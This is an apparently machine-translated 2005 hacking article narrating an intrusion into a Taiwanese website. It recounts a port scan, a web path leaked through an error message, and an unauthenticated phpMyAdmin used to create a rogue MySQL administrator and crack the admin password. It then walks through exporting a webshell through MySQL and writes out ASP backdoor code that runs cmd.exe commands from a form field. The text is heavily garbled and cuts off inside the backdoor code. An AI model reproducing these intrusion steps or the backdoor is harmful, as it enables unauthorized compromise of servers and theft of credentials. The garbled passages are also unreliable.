Get the Webshell (MySQL Backup Webshell) with mysql
This article has been published to "hacker X file" 2005 No. 1, please load the famous source: hacker x element
Author: xack3remail: xack3r@xhacker.cnhttp: //www.xhacker.cn This article is a summary, boring, getting a test, a Web site in Taiwan, and get a topic! When you start getting a web address, ping operations, then call up the X-Scan scan, the target host only opens 21, 80, 3306, 8080 ports, and does not report any vulnerabilities. The operating system is Windows 2003, which is obvious to use IIS servers. The ports of the Telnet service are determined Banner. The target host uses IIS, Serv-U FTPv5.2, MySQL4.0.21-NT. The new version has not found a vulnerability, and the overflow is unlikely.
Intrusion Analysis: Let's first analyze his web program, use PHP MySQL, and also set up an ASP forum. The whole station has no multi-user cluster, but uses the administrator backbenge to add deletion and other operations, and the ASP forum provides uploading. At present, only from injection and upload deception. First www.target.com.tw/admin, the administrator's background landing interface has not been deleted, but after I am free to enter admin, admin, "I can't find this page", obviously the place where the background landing has been manipulated. Modified, depressed, guessing does not manage the management page, the structure is extremely trouble for me, but there is a quick management of the navigation bar on the left side of the program. Of course, the general situation can only be managed, and it will open a connection. The result is warned, but we have been very important because the administrator does not completely process the PHP background file, causing the call to make an error. The wrong mistake is as follows: Fatal error: Cannot Instantiate Non-Existent Class: html_template_it in d: /www/target/bussiness/admin/mmoney/money_news_list.php on line 20 can be said to be the web path we have inadvertently fettered. At least when writing some files, we will take less detours. Then we submit the vulnerability testing, upload, capture, and deceive the camouflage, upload, the resulting code limit, uploaded, and finally I thought it was ended, but the 8080 of the target machine caused my attention, entered www.target.com.tw:8080, "Welcome PHPMYADMIN 2.6.0-RC1", this is not, I said. . PHPMYADMIN manages the program of the Mysql database as a web mode, but the eye is "must set $ cfg ['PMaabsoluteUteuri'] in the setup" "," Mysql version 4.0.21-NT is executed in localhost, login "Root @ localhost". This is an error on the Config.inc.php setting below phpMyadmin. We can directly access and do not request input passwords. We can see $ cfg ['servers'] [$ I] ['Auth_Type'] = 'config'; for the default setting, we know that the PHP installation mode uses http when the PHP installation mode is apache And cookie; if the PHP installation mode is CGI, you can use cookie; default is config, this is a dangerous setting, we can do not need to log in to PHPMYAdmin. And login in local root. Let's check the permissions, as shown in Figure 1. The administrator has established a user to use the Web program, and the root is not cleaned or restricted, all privileges all permissions. In this way, we can build a MySQL administrator, the result is expected, there is no error prompt, successfully established a mysql administrator account. There is no more points in this article for operating phpmyadin, here is not more. Oh, there is an administrator account, we can do a lot of things. Of course, the purpose is only one server permission. At that time, there was still no completion in the middle. Take an operation of adding system administrators.
Connect with our established users, remember that the Eat has developed a supermysql (MySQL database connection program), we do not have to install MySQL or other database software locally, SuperMysql is enough to let us execute the command and view the database content. We fill in the IP to log in with the username and password you have just established. The login success will display the prompt box, click the confirmation interface as shown in Figure 2, we open the "mysql" database, you can see the database administrator's password, but it is over. Oh, in order to hide, we crack one of them, it will be more convenient in the future, so as not to be discovered by the administrator. "Workers must have a good fault, must be aware of this, thank you xuanniao's big brother Crackmysql (breaking 7-digit password as long as 10 minutes) speed it is fast, no matter how much, let him run. It is the same that the encrypted password is the same, and the administrator is so negligent. Cut the encrypted password, no five minutes, password, 7851465. Oh, now we can delete the user we have just established, log in with its administrator account, because when writing this article, the invasion has passed, this is no longer Luo, I will use Supermysl to connect with root. However, the connection failed, Best can't help, finally returned to phpmyadmin, you can see that root can only be connected to local connections from Figure 1 (host is localhost). Another user means "any host" (% wildcard), which is also the least inaccurate place.
I think the next step has already understood, through the MySQL Database Backup MySQLDataWebshell. Remember, Superhei wrote an AutoGetWebshell (PHP language, just enter the remote mysql address, library name, user name, password, code, and a writable web directory, directly export a WebShell) to try, fill in Related data, click Submit, the result is not connected to success, of course, if you can't export it, I am a local set, I think it is a local problem, put it in my own space, the result is the same, the return page is " Unable to find a web page "I don't know if the author code is incomplete, because PHP is also in learning, there is no more than a power to see the code of AutoGetWebshell, it seems that only it is doing it. I have seen the backup a shell article written by SWAN, and MSSQL encountered character transitions when exporting files, so that the code is impossible to interpret it. Also in MySQL to exist such problems. We use the "NT and Win2000" reference through MySQL input to the database through the SQL statement, and then export the script to the web directory of the target host. For details, please refer to the original text, enter the command as shown in Figure 3: If the execution is successful, it will return to the mysql / bin directory. If there is such a table or cmd2.php of the target host, the script will be invalid. From the browser, although we have got a guest authority shell, but through this shell script, it can't write something, and it is said that this shell is the System shell, here, not a similar. Crash, it seems that only change shell trial. Since the server has an ASP Forum, pull out the simple ASP back door, construct a SQL file! Use Target; CREATE TABLE XACK3R (CMD text); // Create a XACK3R table, a text data for a CMD field, the following is the content of the SQL statement inserting the ASP Trojan.
insert into XaCk3r values ( '<% @ Language = VBScript%> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject ( "WSCRIPT.SHELL") Set oScriptNet = Server. CreateObject ("wscript.network") set ofilesys = server.createObject ("scripting.filesystemObject") szcmd = request.form (". Cmd") IF (Szcmd <> ") Then Sztempfile =" C: / "& OfileSys .GetTempname () Call Oscript.run ("cmd.exe / c" & szcmd & "> & sztempfile, 0, true) set ofile = ofilesys.opentextfile (sztempfile, 1, false, 0) end if%>